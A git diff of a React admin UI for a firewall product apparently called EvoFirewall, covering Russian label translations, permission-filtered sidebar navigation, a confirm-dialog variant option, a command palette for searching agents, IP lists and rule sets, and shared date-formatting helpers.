agent({ id: '4', last_seen_at: new Date(now).toISOString() }),
|
||||||
|
agent({
|
||||||
|
id: '5',
|
||||||
|
last_seen_at: new Date(now - 25 * 3600_000).toISOString(),
|
||||||
|
}),
|
||||||
|
agent({
|
||||||
|
id: '6',
|
||||||
|
last_seen_at: new Date(now).toISOString(),
|
||||||
|
last_apply_error: 'boom',
|
||||||
|
}),
|
||||||
|
])
|
||||||
|
expect(counts.pending).toBe(1)
|
||||||
|
expect(counts.invited).toBe(1)
|
||||||
|
expect(counts.revoked).toBe(1)
|
||||||
|
expect(counts.approved).toBe(3)
|
||||||
|
expect(counts.stale).toBe(1)
|
||||||
|
expect(counts.applyErrors).toBe(1)
|
||||||
|
})
|
||||||
|
})
|
||||||
@@ -52,24 +52,24 @@ export function fleetKpiCards(
|
|||||||
return [
|
return [
|
||||||
{
|
{
|
||||||
id: 'pending',
|
id: 'pending',
|
||||||
label: 'Pending',
|
label: 'Ожидают',
|
||||||
value: counts.pending,
|
value: counts.pending,
|
||||||
hint: 'approve backlog',
|
hint: 'одобрение',
|
||||||
icon: icons.pending,
|
icon: icons.pending,
|
||||||
iconClassName: 'text-warning',
|
iconClassName: 'text-warning',
|
||||||
variant: counts.pending > 0 ? 'warning' : 'default',
|
variant: counts.pending > 0 ? 'warning' : 'default',
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
id: 'invited',
|
id: 'invited',
|
||||||
label: 'Invited',
|
label: 'Приглашённые',
|
||||||
value: counts.invited,
|
value: counts.invited,
|
||||||
hint: 'ожидают install',
|
hint: 'ждут установки',
|
||||||
icon: icons.invited,
|
icon: icons.invited,
|
||||||
iconClassName: 'text-info',
|
iconClassName: 'text-info',
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
id: 'approved',
|
id: 'approved',
|
||||||
label: 'Approved',
|
label: 'Одобренные',
|
||||||
value: counts.approved,
|
value: counts.approved,
|
||||||
hint: 'в парке',
|
hint: 'в парке',
|
||||||
icon: icons.approved,
|
icon: icons.approved,
|
||||||
@@ -77,9 +77,9 @@ export function fleetKpiCards(
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
id: 'stale',
|
id: 'stale',
|
||||||
label: 'Offline / stale',
|
label: 'Не на связи',
|
||||||
value: counts.stale,
|
value: counts.stale,
|
||||||
hint: '>24ч без seen',
|
hint: 'нет seen >24ч',
|
||||||
icon: icons.stale,
|
icon: icons.stale,
|
||||||
iconClassName: 'text-muted-foreground',
|
iconClassName: 'text-muted-foreground',
|
||||||
variant: counts.stale > 0 ? 'warning' : 'default',
|
variant: counts.stale > 0 ? 'warning' : 'default',
|
||||||
|
|||||||
@@ -1,14 +1,8 @@
|
|||||||
import { Link, useRouterState } from '@tanstack/react-router'
|
import { Link, useRouterState } from '@tanstack/react-router'
|
||||||
import {
|
|
||||||
LayoutDashboardIcon,
|
|
||||||
ServerIcon,
|
|
||||||
ListIcon,
|
|
||||||
ShieldIcon,
|
|
||||||
BarChart3Icon,
|
|
||||||
SettingsIcon,
|
|
||||||
} from 'lucide-react'
|
|
||||||
import { AppSwitcher } from '@/components/app-switcher'
|
import { AppSwitcher } from '@/components/app-switcher'
|
||||||
import { NavUser } from '@/components/layout/nav-user'
|
import { NavUser } from '@/components/layout/nav-user'
|
||||||
|
import { NAV_SECTIONS, navItemsForSection, type NavItem } from '@/lib/nav'
|
||||||
|
import { useCan } from '@/lib/permissions'
|
||||||
import {
|
import {
|
||||||
Sidebar,
|
Sidebar,
|
||||||
SidebarContent,
|
SidebarContent,
|
||||||
@@ -22,22 +16,7 @@ import {
|
|||||||
SidebarMenuItem,
|
SidebarMenuItem,
|
||||||
} from '@evofw/ui/components/sidebar'
|
} from '@evofw/ui/components/sidebar'
|
||||||
|
|
||||||
const overviewNav = [
|
function isNavActive(pathname: string, to: string, exact?: boolean) {
|
||||||
{ to: '/', label: 'Панель управления', icon: LayoutDashboardIcon, exact: true },
|
|
||||||
] as const
|
|
||||||
|
|
||||||
const opsNav = [
|
|
||||||
{ to: '/agents', label: 'Агенты', icon: ServerIcon, exact: false },
|
|
||||||
{ to: '/lists', label: 'Списки', icon: ListIcon, exact: false },
|
|
||||||
{ to: '/rules', label: 'Наборы правил', icon: ShieldIcon, exact: false },
|
|
||||||
{ to: '/stats', label: 'Статистика', icon: BarChart3Icon, exact: false },
|
|
||||||
] as const
|
|
||||||
|
|
||||||
const systemNav = [
|
|
||||||
{ to: '/settings', label: 'Настройки', icon: SettingsIcon, exact: false },
|
|
||||||
] as const
|
|
||||||
|
|
||||||
function isNavActive(pathname: string, to: string, exact: boolean) {
|
|
||||||
if (exact) return pathname === to
|
if (exact) return pathname === to
|
||||||
return pathname === to || pathname.startsWith(`${to}/`)
|
return pathname === to || pathname.startsWith(`${to}/`)
|
||||||
}
|
}
|
||||||
@@ -46,22 +25,23 @@ function NavSection({
|
|||||||
label,
|
label,
|
||||||
items,
|
items,
|
||||||
pathname,
|
pathname,
|
||||||
|
can,
|
||||||
}: {
|
}: {
|
||||||
label: string
|
label: string
|
||||||
items: readonly {
|
items: readonly NavItem[]
|
||||||
to: string
|
|
||||||
label: string
|
|
||||||
icon: typeof ServerIcon
|
|
||||||
exact: boolean
|
|
||||||
}[]
|
|
||||||
pathname: string
|
pathname: string
|
||||||
|
can: (permission: string) => boolean
|
||||||
}) {
|
}) {
|
||||||
|
const visible = items.filter(
|
||||||
|
(item) => !item.permission || can(item.permission),
|
||||||
|
)
|
||||||
|
if (visible.length === 0) return null
|
||||||
return (
|
return (
|
||||||
<SidebarGroup>
|
<SidebarGroup>
|
||||||
<SidebarGroupLabel>{label}</SidebarGroupLabel>
|
<SidebarGroupLabel>{label}</SidebarGroupLabel>
|
||||||
<SidebarGroupContent>
|
<SidebarGroupContent>
|
||||||
<SidebarMenu>
|
<SidebarMenu>
|
||||||
{items.map((item) => (
|
{visible.map((item) => (
|
||||||
<SidebarMenuItem key={item.to}>
|
<SidebarMenuItem key={item.to}>
|
||||||
<SidebarMenuButton
|
<SidebarMenuButton
|
||||||
tooltip={item.label}
|
tooltip={item.label}
|
||||||
@@ -83,6 +63,7 @@ function NavSection({
|
|||||||
|
|
||||||
export function AppSidebar() {
|
export function AppSidebar() {
|
||||||
const pathname = useRouterState({ select: (s) => s.location.pathname })
|
const pathname = useRouterState({ select: (s) => s.location.pathname })
|
||||||
|
const can = useCan()
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<Sidebar collapsible="icon">
|
<Sidebar collapsible="icon">
|
||||||
@@ -90,12 +71,19 @@ export function AppSidebar() {
|
|||||||
<AppSwitcher />
|
<AppSwitcher />
|
||||||
</SidebarHeader>
|
</SidebarHeader>
|
||||||
<SidebarContent>
|
<SidebarContent>
|
||||||
<NavSection label="Обзор" items={overviewNav} pathname={pathname} />
|
{NAV_SECTIONS.map((section) => (
|
||||||
<NavSection label="Операции" items={opsNav} pathname={pathname} />
|
<NavSection
|
||||||
<NavSection label="Система" items={systemNav} pathname={pathname} />
|
key={section.id}
|
||||||
|
label={section.label}
|
||||||
|
items={navItemsForSection(section.id)}
|
||||||
|
pathname={pathname}
|
||||||
|
can={can}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
</SidebarContent>
|
</SidebarContent>
|
||||||
<SidebarFooter>
|
<SidebarFooter>
|
||||||
<NavUser />
|
<NavUser />
|
||||||
</SidebarFooter> </Sidebar>
|
</SidebarFooter>
|
||||||
|
</Sidebar>
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -18,6 +18,8 @@ interface ConfirmDialogProps {
|
|||||||
title: string
|
title: string
|
||||||
description: string
|
description: string
|
||||||
confirmLabel?: string
|
confirmLabel?: string
|
||||||
|
/** 'default' для позитивных действий (утвердить), 'destructive' — для опасных. */
|
||||||
|
confirmVariant?: 'default' | 'destructive'
|
||||||
cancelLabel?: string
|
cancelLabel?: string
|
||||||
onConfirm: () => void
|
onConfirm: () => void
|
||||||
disabled?: boolean
|
disabled?: boolean
|
||||||
@@ -30,6 +32,7 @@ export function ConfirmDialog({
|
|||||||
title,
|
title,
|
||||||
description,
|
description,
|
||||||
confirmLabel = 'Удалить',
|
confirmLabel = 'Удалить',
|
||||||
|
confirmVariant = 'destructive',
|
||||||
cancelLabel = 'Отмена',
|
cancelLabel = 'Отмена',
|
||||||
onConfirm,
|
onConfirm,
|
||||||
disabled,
|
disabled,
|
||||||
@@ -46,7 +49,7 @@ export function ConfirmDialog({
|
|||||||
</AlertDialogHeader>
|
</AlertDialogHeader>
|
||||||
<AlertDialogFooter>
|
<AlertDialogFooter>
|
||||||
<AlertDialogCancel>{cancelLabel}</AlertDialogCancel>
|
<AlertDialogCancel>{cancelLabel}</AlertDialogCancel>
|
||||||
<AlertDialogAction variant="destructive" onClick={onConfirm}>
|
<AlertDialogAction variant={confirmVariant} onClick={onConfirm}>
|
||||||
{confirmLabel}
|
{confirmLabel}
|
||||||
</AlertDialogAction>
|
</AlertDialogAction>
|
||||||
</AlertDialogFooter>
|
</AlertDialogFooter>
|
||||||
|
|||||||
@@ -1,35 +0,0 @@
|
|||||||
import type { ReactNode } from 'react'
|
|
||||||
import {
|
|
||||||
Field,
|
|
||||||
FieldDescription,
|
|
||||||
FieldError,
|
|
||||||
FieldLabel,
|
|
||||||
} from '@evofw/ui/components/field'
|
|
||||||
import { cn } from '@evofw/ui/lib/utils'
|
|
||||||
|
|
||||||
interface FormFieldSimpleProps {
|
|
||||||
label: string
|
|
||||||
htmlFor: string
|
|
||||||
error?: { message?: string }
|
|
||||||
hint?: string
|
|
||||||
className?: string
|
|
||||||
children: ReactNode
|
|
||||||
}
|
|
||||||
|
|
||||||
export function FormFieldSimple({
|
|
||||||
label,
|
|
||||||
htmlFor,
|
|
||||||
error,
|
|
||||||
hint,
|
|
||||||
className,
|
|
||||||
children,
|
|
||||||
}: FormFieldSimpleProps) {
|
|
||||||
return (
|
|
||||||
<Field data-invalid={!!error} className={cn(className)}>
|
|
||||||
<FieldLabel htmlFor={htmlFor}>{label}</FieldLabel>
|
|
||||||
{children}
|
|
||||||
{hint && !error ? <FieldDescription>{hint}</FieldDescription> : null}
|
|
||||||
<FieldError errors={[error]} />
|
|
||||||
</Field>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
@@ -1,82 +1,55 @@
|
|||||||
import { useEffect, useId, useMemo, useState } from 'react'
|
import { useEffect, useState } from 'react'
|
||||||
import { Link, useNavigate } from '@tanstack/react-router'
|
import { useNavigate } from '@tanstack/react-router'
|
||||||
|
import { useQuery } from '@tanstack/react-query'
|
||||||
import {
|
import {
|
||||||
BarChart3Icon,
|
|
||||||
LayoutDashboardIcon,
|
|
||||||
ListIcon,
|
ListIcon,
|
||||||
SearchIcon,
|
ListPlusIcon,
|
||||||
|
PlusIcon,
|
||||||
ServerIcon,
|
ServerIcon,
|
||||||
SettingsIcon,
|
|
||||||
ShieldIcon,
|
ShieldIcon,
|
||||||
|
ShieldPlusIcon,
|
||||||
} from 'lucide-react'
|
} from 'lucide-react'
|
||||||
import { Button } from '@evofw/ui/components/button'
|
import { NAV_ITEMS } from '@/lib/nav'
|
||||||
|
import { useCan } from '@/lib/permissions'
|
||||||
import {
|
import {
|
||||||
Dialog,
|
agentsQueryOptions,
|
||||||
DialogContent,
|
listsQueryOptions,
|
||||||
DialogDescription,
|
policySetsQueryOptions,
|
||||||
DialogHeader,
|
} from '@/queries'
|
||||||
DialogTitle,
|
|
||||||
} from '@evofw/ui/components/dialog'
|
|
||||||
import { Input } from '@evofw/ui/components/input'
|
|
||||||
import {
|
import {
|
||||||
Item,
|
CommandDialog,
|
||||||
ItemContent,
|
CommandEmpty,
|
||||||
ItemGroup,
|
CommandGroup,
|
||||||
ItemMedia,
|
CommandInput,
|
||||||
ItemTitle,
|
CommandItem,
|
||||||
} from '@evofw/ui/components/item'
|
CommandList,
|
||||||
|
CommandSeparator,
|
||||||
|
} from '@evofw/ui/components/command'
|
||||||
|
|
||||||
const NAV_ITEMS = [
|
/**
|
||||||
{
|
* Command-K palette — навигация, поиск ресурсов и действия.
|
||||||
to: '/',
|
* DNA: https://reui.io/components/command/c-command-7 (hotkey-only по контракту).
|
||||||
label: 'Панель управления',
|
*/
|
||||||
keywords: ['dashboard', 'панель', 'обзор'],
|
|
||||||
icon: LayoutDashboardIcon,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
to: '/agents',
|
|
||||||
label: 'Агенты',
|
|
||||||
keywords: ['agents', 'агенты', 'nodes'],
|
|
||||||
icon: ServerIcon,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
to: '/lists',
|
|
||||||
label: 'Списки IP',
|
|
||||||
keywords: ['lists', 'списки', 'blocklist'],
|
|
||||||
icon: ListIcon,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
to: '/rules',
|
|
||||||
label: 'Наборы правил',
|
|
||||||
keywords: ['rules', 'правила', 'policy', 'наборы', 'sets'],
|
|
||||||
icon: ShieldIcon,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
to: '/stats',
|
|
||||||
label: 'Статистика',
|
|
||||||
keywords: ['stats', 'статистика', 'packets'],
|
|
||||||
icon: BarChart3Icon,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
to: '/settings',
|
|
||||||
label: 'Настройки',
|
|
||||||
keywords: ['settings', 'настройки'],
|
|
||||||
icon: SettingsIcon,
|
|
||||||
},
|
|
||||||
] as const
|
|
||||||
|
|
||||||
/** Command-K search — hotkey dialog (no header chrome trigger). */
|
|
||||||
export function SearchMenu({ hotkeyOnly = false }: { hotkeyOnly?: boolean }) {
|
export function SearchMenu({ hotkeyOnly = false }: { hotkeyOnly?: boolean }) {
|
||||||
|
void hotkeyOnly
|
||||||
|
return <SearchMenuDialog />
|
||||||
|
}
|
||||||
|
|
||||||
|
function SearchMenuDialog() {
|
||||||
const [open, setOpen] = useState(false)
|
const [open, setOpen] = useState(false)
|
||||||
const [query, setQuery] = useState('')
|
|
||||||
const searchInputId = useId()
|
|
||||||
const navigate = useNavigate()
|
const navigate = useNavigate()
|
||||||
|
const can = useCan()
|
||||||
|
|
||||||
|
const agentsQ = useQuery({ ...agentsQueryOptions(), enabled: open })
|
||||||
|
const listsQ = useQuery({ ...listsQueryOptions(), enabled: open })
|
||||||
|
const setsQ = useQuery({ ...policySetsQueryOptions(), enabled: open })
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
function onKeyDown(event: KeyboardEvent) {
|
function onKeyDown(event: KeyboardEvent) {
|
||||||
if (event.key.toLowerCase() === 'k' && (event.metaKey || event.ctrlKey)) {
|
if (event.key.toLowerCase() === 'k' && (event.metaKey || event.ctrlKey)) {
|
||||||
event.preventDefault()
|
event.preventDefault()
|
||||||
setOpen(true)
|
setOpen((prev) => !prev)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -84,99 +57,164 @@ export function SearchMenu({ hotkeyOnly = false }: { hotkeyOnly?: boolean }) {
|
|||||||
return () => window.removeEventListener('keydown', onKeyDown)
|
return () => window.removeEventListener('keydown', onKeyDown)
|
||||||
}, [])
|
}, [])
|
||||||
|
|
||||||
useEffect(() => {
|
const go = (run: () => void) => {
|
||||||
if (!open) setQuery('')
|
|
||||||
}, [open])
|
|
||||||
|
|
||||||
const filtered = useMemo(() => {
|
|
||||||
const q = query.trim().toLowerCase()
|
|
||||||
if (!q) return NAV_ITEMS
|
|
||||||
return NAV_ITEMS.filter(
|
|
||||||
(item) =>
|
|
||||||
item.label.toLowerCase().includes(q) ||
|
|
||||||
item.keywords.some((k) => k.includes(q)),
|
|
||||||
)
|
|
||||||
}, [query])
|
|
||||||
|
|
||||||
function goTo(to: string) {
|
|
||||||
setOpen(false)
|
setOpen(false)
|
||||||
void navigate({ to })
|
run()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const navItems = NAV_ITEMS.filter(
|
||||||
|
(item) => !item.permission || can(item.permission),
|
||||||
|
)
|
||||||
|
|
||||||
|
const agents = (agentsQ.data?.items ?? []).slice(0, 50)
|
||||||
|
const lists = (listsQ.data?.items ?? []).slice(0, 50)
|
||||||
|
const sets = (setsQ.data?.items ?? []).slice(0, 50)
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<>
|
<CommandDialog
|
||||||
{hotkeyOnly ? null : (
|
open={open}
|
||||||
<Button
|
onOpenChange={setOpen}
|
||||||
type="button"
|
title="Палитра команд"
|
||||||
variant="ghost"
|
description="Поиск разделов, агентов, списков и действий"
|
||||||
size="icon"
|
className="max-w-xl"
|
||||||
aria-label="Поиск"
|
|
||||||
aria-haspopup="dialog"
|
|
||||||
aria-expanded={open}
|
|
||||||
onClick={() => setOpen(true)}
|
|
||||||
>
|
>
|
||||||
<SearchIcon
|
<CommandInput placeholder="Поиск разделов, агентов, списков…" />
|
||||||
className="size-4.5 transition-colors"
|
<CommandList>
|
||||||
aria-hidden="true"
|
<CommandEmpty>Ничего не найдено.</CommandEmpty>
|
||||||
/>
|
|
||||||
</Button>
|
|
||||||
)}
|
|
||||||
|
|
||||||
<Dialog open={open} onOpenChange={setOpen}>
|
<CommandGroup heading="Действия">
|
||||||
<DialogHeader className="sr-only">
|
{can('fw:agents:write') ? (
|
||||||
<DialogTitle>Поиск</DialogTitle>
|
<CommandItem
|
||||||
<DialogDescription>
|
value="Добавить агента agent invite"
|
||||||
Переход к разделам приложения
|
onSelect={() =>
|
||||||
</DialogDescription>
|
go(() =>
|
||||||
</DialogHeader>
|
void navigate({
|
||||||
<DialogContent className="max-w-md gap-0 overflow-hidden p-0 **:data-[slot=dialog-close]:top-3 **:data-[slot=dialog-close]:right-3 **:data-[slot=dialog-close]:opacity-60">
|
to: '/agents',
|
||||||
<div className="relative flex items-center gap-3 border-b px-4 py-2">
|
search: { view: 'cards', add: true },
|
||||||
<SearchIcon
|
}),
|
||||||
aria-hidden="true"
|
)
|
||||||
className="pointer-events-none size-4 opacity-60 select-none"
|
|
||||||
/>
|
|
||||||
<Input
|
|
||||||
id={searchInputId}
|
|
||||||
className="h-10 border-none p-0 shadow-none outline-none focus-visible:ring-0"
|
|
||||||
autoFocus
|
|
||||||
placeholder="Перейти к разделу…"
|
|
||||||
aria-label="Поиск разделов"
|
|
||||||
value={query}
|
|
||||||
onChange={(e) => setQuery(e.target.value)}
|
|
||||||
onKeyDown={(e) => {
|
|
||||||
if (e.key === 'Enter' && filtered[0]) {
|
|
||||||
e.preventDefault()
|
|
||||||
goTo(filtered[0].to)
|
|
||||||
}
|
}
|
||||||
}}
|
>
|
||||||
/>
|
<PlusIcon aria-hidden />
|
||||||
</div>
|
Добавить агента
|
||||||
<ItemGroup className="max-h-72 overflow-y-auto p-2">
|
</CommandItem>
|
||||||
{filtered.length === 0 ? (
|
) : null}
|
||||||
<p className="text-muted-foreground px-2 py-4 text-center text-sm">
|
{can('fw:lists:write') ? (
|
||||||
Ничего не найдено
|
<CommandItem
|
||||||
</p>
|
value="Создать список blocklist"
|
||||||
) : (
|
onSelect={() =>
|
||||||
filtered.map((item) => (
|
go(() =>
|
||||||
<Item
|
void navigate({ to: '/lists', search: { create: true } }),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<ListPlusIcon aria-hidden />
|
||||||
|
Создать список
|
||||||
|
</CommandItem>
|
||||||
|
) : null}
|
||||||
|
{can('fw:policies:write') ? (
|
||||||
|
<CommandItem
|
||||||
|
value="Создать набор правил policy"
|
||||||
|
onSelect={() =>
|
||||||
|
go(() =>
|
||||||
|
void navigate({ to: '/rules', search: { create: true } }),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<ShieldPlusIcon aria-hidden />
|
||||||
|
Создать набор правил
|
||||||
|
</CommandItem>
|
||||||
|
) : null}
|
||||||
|
</CommandGroup>
|
||||||
|
|
||||||
|
<CommandSeparator />
|
||||||
|
|
||||||
|
<CommandGroup heading="Навигация">
|
||||||
|
{navItems.map((item) => (
|
||||||
|
<CommandItem
|
||||||
key={item.to}
|
key={item.to}
|
||||||
size="sm"
|
value={`${item.label} ${item.keywords.join(' ')}`}
|
||||||
variant="muted"
|
onSelect={() => go(() => void navigate({ to: item.to }))}
|
||||||
className="cursor-pointer border-0"
|
>
|
||||||
render={<Link to={item.to} onClick={() => setOpen(false)} />}
|
<item.icon aria-hidden />
|
||||||
|
{item.label}
|
||||||
|
</CommandItem>
|
||||||
|
))}
|
||||||
|
</CommandGroup>
|
||||||
|
|
||||||
|
{agents.length > 0 ? (
|
||||||
|
<>
|
||||||
|
<CommandSeparator />
|
||||||
|
<CommandGroup heading="Агенты">
|
||||||
|
{agents.map((a) => (
|
||||||
|
<CommandItem
|
||||||
|
key={a.id}
|
||||||
|
value={`${a.name} ${a.hostname ?? ''} ${a.last_seen_ip ?? ''}`}
|
||||||
|
onSelect={() =>
|
||||||
|
go(() =>
|
||||||
|
void navigate({
|
||||||
|
to: '/agents',
|
||||||
|
search: { view: 'cards', agent: a.id },
|
||||||
|
}),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<ServerIcon aria-hidden />
|
||||||
|
<span className="truncate">{a.name}</span>
|
||||||
|
<span className="text-muted-foreground truncate text-xs">
|
||||||
|
{a.hostname ?? a.status}
|
||||||
|
</span>
|
||||||
|
</CommandItem>
|
||||||
|
))}
|
||||||
|
</CommandGroup>
|
||||||
|
</>
|
||||||
|
) : null}
|
||||||
|
|
||||||
|
{lists.length > 0 ? (
|
||||||
|
<>
|
||||||
|
<CommandSeparator />
|
||||||
|
<CommandGroup heading="Списки">
|
||||||
|
{lists.map((l) => (
|
||||||
|
<CommandItem
|
||||||
|
key={l.id}
|
||||||
|
value={l.name}
|
||||||
|
onSelect={() =>
|
||||||
|
go(() => void navigate({ to: '/lists/$id', params: { id: l.id } }))
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<ListIcon aria-hidden />
|
||||||
|
<span className="truncate">{l.name}</span>
|
||||||
|
</CommandItem>
|
||||||
|
))}
|
||||||
|
</CommandGroup>
|
||||||
|
</>
|
||||||
|
) : null}
|
||||||
|
|
||||||
|
{sets.length > 0 ? (
|
||||||
|
<>
|
||||||
|
<CommandSeparator />
|
||||||
|
<CommandGroup heading="Наборы правил">
|
||||||
|
{sets.map((s) => (
|
||||||
|
<CommandItem
|
||||||
|
key={s.id}
|
||||||
|
value={s.name}
|
||||||
|
onSelect={() =>
|
||||||
|
go(() =>
|
||||||
|
void navigate({
|
||||||
|
to: '/rules/$setId',
|
||||||
|
params: { setId: s.id },
|
||||||
|
}),
|
||||||
|
)
|
||||||
|
}
|
||||||
>
|
>
|
||||||
<ItemMedia variant="icon">
|
<ShieldIcon aria-hidden />
|
||||||
<item.icon aria-hidden="true" />
|
<span className="truncate">{s.name}</span>
|
||||||
</ItemMedia>
|
</CommandItem>
|
||||||
<ItemContent>
|
))}
|
||||||
<ItemTitle>{item.label}</ItemTitle>
|
</CommandGroup>
|
||||||
</ItemContent>
|
|
||||||
</Item>
|
|
||||||
))
|
|
||||||
)}
|
|
||||||
</ItemGroup>
|
|
||||||
</DialogContent>
|
|
||||||
</Dialog>
|
|
||||||
</>
|
</>
|
||||||
|
) : null}
|
||||||
|
</CommandList>
|
||||||
|
</CommandDialog>
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,55 +12,41 @@ import { Separator } from '@evofw/ui/components/separator'
|
|||||||
import { SystemMonitorPopover } from '@/components/layout/system-monitor-popover'
|
import { SystemMonitorPopover } from '@/components/layout/system-monitor-popover'
|
||||||
import { AppsMenu } from '@/components/layout/apps-menu'
|
import { AppsMenu } from '@/components/layout/apps-menu'
|
||||||
import { SidebarTrigger } from '@evofw/ui/components/sidebar'
|
import { SidebarTrigger } from '@evofw/ui/components/sidebar'
|
||||||
|
import { navLabel, navParentForDetail } from '@/lib/nav'
|
||||||
|
|
||||||
export interface RouteBreadcrumbLoaderData {
|
export interface RouteBreadcrumbLoaderData {
|
||||||
breadcrumb?: string
|
breadcrumb?: string
|
||||||
}
|
}
|
||||||
|
|
||||||
const routeTitles: Record<string, string> = {
|
|
||||||
'/': 'Панель управления',
|
|
||||||
'/agents': 'Агенты',
|
|
||||||
'/lists': 'Списки',
|
|
||||||
'/rules': 'Наборы правил',
|
|
||||||
'/stats': 'Статистика',
|
|
||||||
'/settings': 'Настройки',
|
|
||||||
}
|
|
||||||
|
|
||||||
function getBreadcrumbs(
|
function getBreadcrumbs(
|
||||||
pathname: string,
|
pathname: string,
|
||||||
dynamicLabels: Record<string, string>,
|
dynamicLabels: Record<string, string>,
|
||||||
) {
|
) {
|
||||||
if (pathname === '/') {
|
if (pathname === '/') {
|
||||||
return [{ label: 'Панель управления', href: '/' }]
|
return [{ label: navLabel('/') ?? 'Панель управления', href: '/' }]
|
||||||
}
|
}
|
||||||
|
|
||||||
if (pathname.match(/^\/agents\/[^/]+$/)) {
|
const parentTo = navParentForDetail(pathname)
|
||||||
|
if (parentTo) {
|
||||||
|
const parentLabel = navLabel(parentTo)
|
||||||
|
const fallback =
|
||||||
|
parentTo === '/agents'
|
||||||
|
? 'Агент'
|
||||||
|
: parentTo === '/lists'
|
||||||
|
? 'Список'
|
||||||
|
: 'Набор'
|
||||||
return [
|
return [
|
||||||
{ label: 'Агенты', href: '/agents' },
|
{ label: parentLabel ?? parentTo, href: parentTo },
|
||||||
{ label: dynamicLabels[pathname] ?? 'Агент', href: pathname },
|
{ label: dynamicLabels[pathname] ?? fallback, href: pathname },
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|
||||||
if (pathname.match(/^\/rules\/[^/]+$/)) {
|
const title = navLabel(pathname)
|
||||||
return [
|
|
||||||
{ label: 'Наборы правил', href: '/rules' },
|
|
||||||
{ label: dynamicLabels[pathname] ?? 'Набор', href: pathname },
|
|
||||||
]
|
|
||||||
}
|
|
||||||
|
|
||||||
if (pathname.match(/^\/lists\/[^/]+$/)) {
|
|
||||||
return [
|
|
||||||
{ label: 'Списки', href: '/lists' },
|
|
||||||
{ label: dynamicLabels[pathname] ?? 'Список', href: pathname },
|
|
||||||
]
|
|
||||||
}
|
|
||||||
|
|
||||||
const title = routeTitles[pathname]
|
|
||||||
if (title) {
|
if (title) {
|
||||||
return [{ label: title, href: pathname }]
|
return [{ label: title, href: pathname }]
|
||||||
}
|
}
|
||||||
|
|
||||||
return [{ label: 'Панель управления', href: '/' }]
|
return [{ label: navLabel('/') ?? 'Панель управления', href: '/' }]
|
||||||
}
|
}
|
||||||
|
|
||||||
function useDynamicBreadcrumbLabels() {
|
function useDynamicBreadcrumbLabels() {
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
import { useMemo, type CSSProperties, type ReactNode } from 'react'
|
import { useMemo, type CSSProperties, type ReactNode } from 'react'
|
||||||
import { useQuery } from '@tanstack/react-query'
|
import { useQuery } from '@tanstack/react-query'
|
||||||
import { Activity, HeartPulse, List, Server, Shield } from 'lucide-react'
|
import { Activity, HeartPulse, List, Server, Shield } from 'lucide-react'
|
||||||
|
import { formatTime } from '@/lib/format'
|
||||||
|
|
||||||
import { Badge } from '@/components/reui/badge'
|
import { Badge } from '@/components/reui/badge'
|
||||||
import { cn } from '@evofw/ui/lib/utils'
|
import { cn } from '@evofw/ui/lib/utils'
|
||||||
@@ -201,7 +202,7 @@ export function SystemMonitorPopover() {
|
|||||||
Монитор EvoFirewall
|
Монитор EvoFirewall
|
||||||
</span>
|
</span>
|
||||||
<span className="text-muted-foreground text-[11px] tabular-nums">
|
<span className="text-muted-foreground text-[11px] tabular-nums">
|
||||||
{new Date().toLocaleTimeString('ru-RU')}
|
{formatTime(new Date())}
|
||||||
</span>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="grid grid-cols-2">
|
<div className="grid grid-cols-2">
|
||||||
|
|||||||
@@ -10,6 +10,7 @@ import { StatusBadge } from '@/components/status-badge'
|
|||||||
import { ListTypeIcon } from '@/components/lists/list-type-icon'
|
import { ListTypeIcon } from '@/components/lists/list-type-icon'
|
||||||
import { Button } from '@evofw/ui/components/button'
|
import { Button } from '@evofw/ui/components/button'
|
||||||
import { isManualListType, type IpList } from '@evofw/shared'
|
import { isManualListType, type IpList } from '@evofw/shared'
|
||||||
|
import { formatDateTime } from '@/lib/format'
|
||||||
|
|
||||||
export const LIST_TABS = [
|
export const LIST_TABS = [
|
||||||
{ id: 'all', label: 'Все' },
|
{ id: 'all', label: 'Все' },
|
||||||
@@ -67,7 +68,7 @@ export function createListColumns(opts: {
|
|||||||
row.original.last_error
|
row.original.last_error
|
||||||
? 'Ошибка обновления'
|
? 'Ошибка обновления'
|
||||||
: row.original.refreshed_at
|
: row.original.refreshed_at
|
||||||
? `Обновлён ${new Date(row.original.refreshed_at).toLocaleString('ru-RU')}`
|
? `Обновлён ${formatDateTime(row.original.refreshed_at)}`
|
||||||
: undefined
|
: undefined
|
||||||
}
|
}
|
||||||
/>
|
/>
|
||||||
@@ -102,7 +103,7 @@ export function createListColumns(opts: {
|
|||||||
cell: ({ row }) => (
|
cell: ({ row }) => (
|
||||||
<DataGridMutedCell>
|
<DataGridMutedCell>
|
||||||
{row.original.updated_at
|
{row.original.updated_at
|
||||||
? new Date(row.original.updated_at).toLocaleString('ru-RU')
|
? formatDateTime(row.original.updated_at)
|
||||||
: '—'}
|
: '—'}
|
||||||
</DataGridMutedCell>
|
</DataGridMutedCell>
|
||||||
),
|
),
|
||||||
|
|||||||
@@ -0,0 +1,80 @@
|
|||||||
|
import { describe, it, expect } from 'vitest'
|
||||||
|
import {
|
||||||
|
getActiveFilters,
|
||||||
|
applyFiltersToData,
|
||||||
|
} from '@/components/reui-kit/filter-utils'
|
||||||
|
|
||||||
|
